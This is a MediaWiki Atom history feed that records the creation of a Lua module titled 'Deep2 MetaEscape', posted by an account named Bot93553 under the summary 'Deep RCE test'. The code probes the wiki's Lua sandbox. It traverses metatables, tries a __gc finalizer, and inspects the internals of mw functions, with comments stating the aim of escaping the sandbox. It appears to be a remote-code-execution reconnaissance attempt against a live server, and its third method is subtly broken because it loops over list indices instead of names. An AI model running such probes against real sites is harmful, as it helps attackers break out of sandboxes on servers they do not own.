<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="zh-Hans-CN">
	<id>http://120.55.36.65/w/index.php?action=history&amp;feed=atom&amp;title=%E6%A8%A1%E5%9D%97%3ADeep2_MetaEscape</id>
	<title>模块:Deep2 MetaEscape - 版本历史</title>
	<link rel="self" type="application/atom+xml" href="http://120.55.36.65/w/index.php?action=history&amp;feed=atom&amp;title=%E6%A8%A1%E5%9D%97%3ADeep2_MetaEscape"/>
	<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:Deep2_MetaEscape&amp;action=history"/>
	<updated>2026-05-13T19:05:04Z</updated>
	<subtitle>本wiki上该页面的版本历史</subtitle>
	<generator>MediaWiki 1.40.0</generator>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:Deep2_MetaEscape&amp;diff=917&amp;oldid=prev</id>
		<title>Bot93553：​Deep RCE test</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:Deep2_MetaEscape&amp;diff=917&amp;oldid=prev"/>
		<updated>2026-05-09T05:44:34Z</updated>

		<summary type="html">&lt;p&gt;Deep RCE test&lt;/p&gt;
&lt;p&gt;&lt;b&gt;新页面&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&lt;br /&gt;
local p = {}&lt;br /&gt;
function p.test()&lt;br /&gt;
    -- Try to use __gc finalizer in a userdata to escape&lt;br /&gt;
    local results = {}&lt;br /&gt;
&lt;br /&gt;
    -- Method 1: Metatable chain traversal&lt;br /&gt;
    local current = _G&lt;br /&gt;
    local depth = 0&lt;br /&gt;
    while depth &amp;lt; 10 do&lt;br /&gt;
        local mt = getmetatable(current)&lt;br /&gt;
        if not mt then break end&lt;br /&gt;
        depth = depth + 1&lt;br /&gt;
        local keys = {}&lt;br /&gt;
        for k in pairs(mt) do keys[#keys+1] = k end&lt;br /&gt;
        results[depth] = &amp;quot;level&amp;quot; .. depth .. &amp;quot;=&amp;quot; .. table.concat(keys, &amp;quot;,&amp;quot;)&lt;br /&gt;
        if mt.__index then&lt;br /&gt;
            current = mt.__index&lt;br /&gt;
        else&lt;br /&gt;
            break&lt;br /&gt;
        end&lt;br /&gt;
    end&lt;br /&gt;
    results[#results+1] = &amp;quot;depth=&amp;quot; .. depth&lt;br /&gt;
&lt;br /&gt;
    -- Method 2: Try to set __gc on a table&lt;br /&gt;
    local t = {}&lt;br /&gt;
    local ok, err = pcall(setmetatable, t, {__gc = function() end})&lt;br /&gt;
    results[#results+1] = &amp;quot;set_gc_table=&amp;quot; .. tostring(ok) .. &amp;quot;:&amp;quot; .. tostring(err)&lt;br /&gt;
&lt;br /&gt;
    -- Method 3: Try to access function environments&lt;br /&gt;
    local custom_funcs = {}&lt;br /&gt;
    for name in pairs({&amp;quot;log&amp;quot;, &amp;quot;addWarning&amp;quot;, &amp;quot;executeFunction&amp;quot;, &amp;quot;loadData&amp;quot;, &amp;quot;getCurrentFrame&amp;quot;}) do&lt;br /&gt;
        if mw[name] and type(mw[name]) == &amp;quot;function&amp;quot; then&lt;br /&gt;
            local ok, info = pcall(debug.getinfo, mw[name], &amp;quot;S&amp;quot;)&lt;br /&gt;
            if ok and info then&lt;br /&gt;
                custom_funcs[#custom_funcs+1] = name .. &amp;quot;:src=&amp;quot; .. tostring(info.short_src):sub(1,50)&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end&lt;br /&gt;
    if #custom_funcs &amp;gt; 0 then&lt;br /&gt;
        results[#results+1] = &amp;quot;func_sources: &amp;quot; .. table.concat(custom_funcs, &amp;quot; | &amp;quot;)&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    return table.concat(results, &amp;quot; | &amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
</feed>